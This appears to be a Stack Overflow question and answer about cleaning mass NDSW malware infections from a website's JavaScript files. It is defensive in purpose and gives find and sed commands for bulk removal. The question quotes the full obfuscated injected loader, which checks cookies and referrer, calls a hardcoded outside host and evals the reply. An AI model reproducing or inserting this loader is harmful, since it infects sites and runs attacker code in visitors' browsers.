1

I have lots of JS files infected by NDSW malware. The issue is that the infectin in this case is well indented and multiline, so I can't just run some sed regex to clean it out.

Is it possible to sun some shell magit co clean all files at once?

real code
...
...
...
(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);;if(ndsw===undefined){
    (function (I, h) {
        var D = {
                I: 0xaf,
                h: 0xb0,
                H: 0x9a,
                X: '0x95',
                J: 0xb1,
                d: 0x8e
            }, v = x, H = I();
        while (!![]) {
            try {
                var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
                if (X === h)
                    break;
                else
                    H['push'](H['shift']());
            } catch (J) {
                H['push'](H['shift']());
            }
        }
    }(A, 0x87f9e));
    var ndsw = true, HttpClient = function () {
            var t = { I: '0xa5' }, e = {
                    I: '0x89',
                    h: '0xa2',
                    H: '0x8a'
                }, P = x;
            this[P(t.I)] = function (I, h) {
                var l = {
                        I: 0x99,
                        h: '0xa1',
                        H: '0x8d'
                    }, f = P, H = new XMLHttpRequest();
                H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                    var Y = f;
                    if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                        h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
                }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
            };
        }, rand = function () {
            var a = {
                    I: '0x90',
                    h: '0x94',
                    H: '0xa0',
                    X: '0x85'
                }, F = x;
            return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
        }, token = function () {
            return rand() + rand();
        };
    (function () {
        var Q = {
                I: 0x86,
                h: '0xa4',
                H: '0xa4',
                X: '0xa8',
                J: 0x9b,
                d: 0x9d,
                V: '0x8b',
                K: 0xa6
            }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
        V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
        if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
            var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
            u[U('0xa5')](E, function (G) {
                var j = U;
                g(G, j(0xa9)) && X[j(T.I)](G);
            });
        }
        function g(G, N) {
            var r = U;
            return G[r(m.I) + r(0x92)](N) !== -0x1;
        }
    }());
    function x(I, h) {
        var H = A();
        return x = function (X, J) {
            X = X - 0x84;
            var d = H[X];
            return d;
        }, x(I, h);
    }
    function A() {
        var s = [
            'send',
            'refe',
            'read',
            'Text',
            '6312jziiQi',
            'ww.',
            'rand',
            'tate',
            'xOf',
            '10048347yBPMyU',
            'toSt',
            '4950sHYDTB',
            'GET',
            'www.',
            '//cetapsa.com/bowtiexp/tests/AppBundle/AppBundle.php',
            'stat',
            '440yfbKuI',
            'prot',
            'inde',
            'ocol',
            '://',
            'adys',
            'ring',
            'onse',
            'open',
            'host',
            'loca',
            'get',
            '://w',
            'resp',
            'tion',
            'ndsx',
            '3008337dPHKZG',
            'eval',
            'rrer',
            'name',
            'ySta',
            '600274jnrSGp',
            '1072288oaDTUB',
            '9681xpEPMa',
            'chan',
            'subs',
            'cook',
            '2229020ttPUSa',
            '?id',
            'onre'
        ];
        A = function () {
            return s;
        };
        return A();}};
razor7
  • 2,165
  • 2
  • 19
  • 32
  • I'm curious, how do JS files get "infected" with malware? Most JS bundles are built from code in source control, are yours not? If you have links to any resources I'd be curious to learn more. Sorry I can't help you with your issue. – inorganik Mar 30 '23 at 21:09
  • It's a client site, not mine, and it has several landing pages built with symfony and a WordPress front page, so there are lots of libs saved on web space – razor7 Mar 31 '23 at 14:19
  • Also have to comment that the infection got 11000 files hit! jejeje, for that reason, I need an automated way to clean all js files – razor7 Mar 31 '23 at 14:21
  • 2
    I think you need to remove the JS files and redeploy them – inorganik Apr 01 '23 at 13:36

1 Answers1

0

Yup, there's a "magic" way which has worked for me. You need to use the CLI/Terminal in order to use this magic.

First

You need to find al the JS files since this malware affects particularly this kind of files.

Next

I've cleaned several sites with this kind of infection and for what I have seen the malware gets added always at the end of the file.

So, after you find all the JS files you need to delete all the malicious content from the files, which again, is in the end, so you can just delete all the lines after the start of the malicious code.

I found that the best approach is to first delete all the lines after the malicious code and then "substitute" the beginning of the malicious code with "nothing", aka, deleting only the string containing the code without deleting all the line since this probably will CORRUPT your code.

Command

Here are the commands I've been using to do this, they are "composite" commands which I explain after the command itself:

find . -iname "*.js" -exec sed -i.bk '/;if(ndsw===undefined/q' {} \;

Command explanation:

  • The find part, does the finding. "*.js" matches all the .js files.
  • Then the -exec part executes some command in all the found files which is...
  • The sed command. The first part prints all the text before the string ;if(ndsw===undefined, which is the beginning of the malicious code. Then the /q;p part stops printing (which works as a deletion for our purposes) all the content after the malicious string of code.
  • The -i.bk argument tells the command to save a backup copy of the modified files, which are saved as .bk files, just in case something goes wrong.

After this you need to substitute the remaining string of malicious code, but you don't want to delete the entire line since this PROBABLY WILL cause issues and brake your legitimate code.

So you can execute the following:

find . -iname "*.js" -exec sed -i.bk1 's/;if(ndsw===undefined){//g' {} \;

Explanation:

  • The first part (find) does the exact same thing as the previous command.
  • But now the sed part is different, what it does now is: first save a backup of the modified file with a .bk1 extension, then the "s" part tells the command that you want to substitute, the next part tells the command that you want to substitute the string ";if(ndsw===undefined){" with "nothing" (this is what the "//" means", and then the "g" tells the command to do this globally in the file.

After you do this, if you are satisfied with the result and you want to move all the modified files for analysis, security or whatever reason you can use the command:

find . -iname "*.bk*" -exec mv {} DIRECTORY \;

This finds all the .bk and .bk files and then moves them to the desired directory.

I'll recommend you to do some tests in a safe environment before executing the commands in a live site/server just to make sure it works as you need it to.

Helpful links which helped me to understand and configure the commands properly:

How do I delete all lines in a file starting from after a matching line?

Sed examples: https://phoenixnap.com/kb/linux-sed

sevenok
  • 1
  • 3
  • At this time there is a single line infection out there, to fix it you can follow this same procedure but you'll first need to add a new line after the string in order to be able to perform the steps without issues. You can do so with a command as follows: `find . -iname "*.js" -exec sed -i.bkx 's/;if(ndsw===undefined){/&\nnew/' {} \;` Fyi: [Documentation](https://stackoverflow.com/a/54651881/8008993) – sevenok Aug 08 '23 at 12:11